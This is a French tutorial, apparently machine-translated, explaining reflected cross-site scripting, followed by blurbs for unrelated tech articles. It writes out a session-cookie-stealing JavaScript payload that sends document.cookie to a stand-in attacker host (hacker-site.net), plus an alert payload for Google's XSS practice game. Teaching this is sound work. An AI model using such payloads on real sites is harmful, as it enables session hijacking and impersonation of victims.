Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Qu’est-ce que le Cross-Site Scripting ?

Le Cross-Site Scripting (XSS) est aujourd'hui l'une des techniques d'attaque les plus populaires, connue comme le parrain de l'attaque, et est répertoriée depuis de nombreuses années comme la technique d'attaque la plus dangereuse pour les applications Web.

Ne l'appelez pas CSS en abrégé pour éviter toute confusion avec le concept HTML en cascade.
La technique
XSS est basée sur l'insertion de scripts dangereux dans le code source de l'application Web. Pour exécuter du code Javascript malveillant pour reprendre la session de connexion de l'utilisateur.

Pour mieux comprendre, considérons l'exemple suivant. Une application web qui permet d'imprimer la valeur que nous transmettons via l'URL, en supposant que nous transmettons dans la variable name la valeur Ping :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Tout va bien jusqu'à présent, passons en revue le code source HTML :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Ce qui est facile à voir, c'est que la valeur du nom que nous avons saisie a été insérée dans le code source. Il est donc possible que tout ce qui est importé puisse également être inséré. Le problème devient sérieux si la valeur saisie n'est pas une chaîne normale comme ci-dessus mais un morceau de code potentiellement dangereux, quelque chose comme ceci :

 

Réessayez avec la valeur ci-dessus :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

De cet exemple, nous pouvons conclure deux choses. Premièrement, la variable de nom peut recevoir n'importe quelle valeur d'entrée et la transmettre au serveur pour traitement. Deuxièmement, le serveur n'a pas contrôlé cette valeur d'entrée avant de la renvoyer au navigateur. Cela conduit à l'insertion du code javascript dans le code source.

XSS est généralement divisé en 3 types principaux : réfléchi, stocké et basé sur DOM. Dans cet article je mentionnerai principalement la technique Reflected XSS.

Jusqu'à 75 % des techniques XSS sont basées sur Reflected XSS. On l'appelle réfléchi car dans ce type de scénario d'exploit, le pirate informatique doit envoyer à la victime une URL contenant du code malveillant (généralement du javascript). Il suffit à la victime de demander cette URL et le pirate recevra immédiatement une réponse contenant le résultat souhaité (réflexivité affichée ici). De plus, il est également connu sous le nom de XSS de premier ordre.

Scénario minier réel

Il existe de nombreuses façons d'exploiter l'erreur Reflected XSS, l'une des méthodes les plus connues consiste à prendre le contrôle de la session de l'utilisateur, accédant ainsi aux données et obtenant ses droits sur le site Web.

Les détails sont décrits dans les étapes suivantes :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

1. L'utilisateur se connecte au Web et suppose qu'une session est attribuée :

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. D'une manière ou d'une autre, le pirate informatique envoie à l'utilisateur l'URL :

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Supposons que example.com soit le site Web visité par la victime, hacker-site.net est le site créé par le pirate informatique.

3. La victime accède à l'URL ci-dessus

4. Le serveur répond à la victime, avec les données contenues dans la requête (l'extrait javascript du hacker)

5. Le navigateur de la victime reçoit la réponse et exécute le javascript

6. Le javascript réel créé par le pirate informatique est le suivant :

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

La ligne de commande ci-dessus adresse essentiellement une requête au site du pirate informatique avec le paramètre étant le cookie utilisateur :

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Depuis votre site, le pirate informatique récupérera le contenu de la demande ci-dessus et considérera que la session de l'utilisateur est prise en charge. À ce stade, le pirate informatique peut se faire passer pour la victime et exercer tous les droits dont dispose la victime sur le site Web.

Pratique

Google a créé une page pour s'entraîner à exploiter les erreurs XSS ici : https://xss-game.appspot.com

Le but de ces défis est que vous devez injecter des scripts pour faire apparaître une popup. Le premier défi est d'illustrer la technique réfléchie, le code d'exploitation est assez simple :

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Bonne chance!


Comment changer la fonction de la touche Fn sous Windows 10 et 11

Comment changer la fonction de la touche Fn sous Windows 10 et 11

Les touches de fonction en haut du clavier servent de raccourcis pour contrôler certaines fonctionnalités matérielles.

Se connecter via HTTPS ne signifie pas que vous êtes absolument en sécurité, voici pourquoi

Se connecter via HTTPS ne signifie pas que vous êtes absolument en sécurité, voici pourquoi

Vous ne l’avez peut-être pas remarqué, mais la majeure partie du trafic Web en ligne dans le monde est aujourd’hui envoyée via des connexions HTTPS.

Instructions pour afficher les paramètres de RAM sur Chromebook

Instructions pour afficher les paramètres de RAM sur Chromebook

Nous allons vous montrer deux façons d'accéder et de voir quelle est la configuration de votre Chromebook, de quelle quantité de RAM il dispose...

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Dans cet article, LuckyTemplates découvrira avec vous l'exploit Reflected XSS.

Pourquoi Microsoft a-t-il mis fin au support de Windows 8.1 ?

Pourquoi Microsoft a-t-il mis fin au support de Windows 8.1 ?

Windows 8.1 offre une expérience utilisateur plus stable et constitue une amélioration par rapport à Windows 8. Cependant, comme tout autre produit Windows, la fin du support est inévitable.

Comment supprimer la lettre de lecteur dans Windows 10

Comment supprimer la lettre de lecteur dans Windows 10

Par défaut, Windows 10 attribue automatiquement les lettres de lecteur disponibles à tous les périphériques de stockage internes et externes connectés. Ce guide vous montrera différentes manières de supprimer la lettre de lecteur dans Windows 10.

Qu’est-ce que la RA ? Qu’est-ce que la réalité virtuelle ? En quoi ces deux technologies sont-elles similaires et différentes ?

Qu’est-ce que la RA ? Qu’est-ce que la réalité virtuelle ? En quoi ces deux technologies sont-elles similaires et différentes ?

Qu'est-ce que la réalité virtuelle (VR) ? Qu'est-ce que la réalité augmentée (AR) ? Ce sont deux concepts tendance à l’ère technologique d’aujourd’hui. Alors, quelle est la différence entre AR et VR et comment sont-elles appliquées à la vie réelle ?

Comment afficher la vitesse Internet sur la barre des tâches Windows

Comment afficher la vitesse Internet sur la barre des tâches Windows

Vous souhaitez vérifier rapidement votre vitesse Internet, mais Windows ne fournit pas d'application native pour surveiller la vitesse. Heureusement, il existe des solutions pour vous aider à y parvenir.

Comment modifier laccès rapide dans lexplorateur de fichiers

Comment modifier laccès rapide dans lexplorateur de fichiers

Le menu Accès rapide de l'Explorateur de fichiers nous aidera à accéder rapidement à certains programmes ou lecteurs et dossiers de l'ordinateur sans avoir à effectuer de nombreuses opérations.

Correction de lutilisation élevée de la mémoire par wmpnetwk.exe

Correction de lutilisation élevée de la mémoire par wmpnetwk.exe

Si vous utilisez toujours Windows 7, vous avez peut-être remarqué que wmpnetwk.exe utilise plus de ressources système que tout autre service. Dans cet article, Quantrimang.com expliquera comment corriger l'utilisation élevée de la mémoire par wmpnetwk.exe.